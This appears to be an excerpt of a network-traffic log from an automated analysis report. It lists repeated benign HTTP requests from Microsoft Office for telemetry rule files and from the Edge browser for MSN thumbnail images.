Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
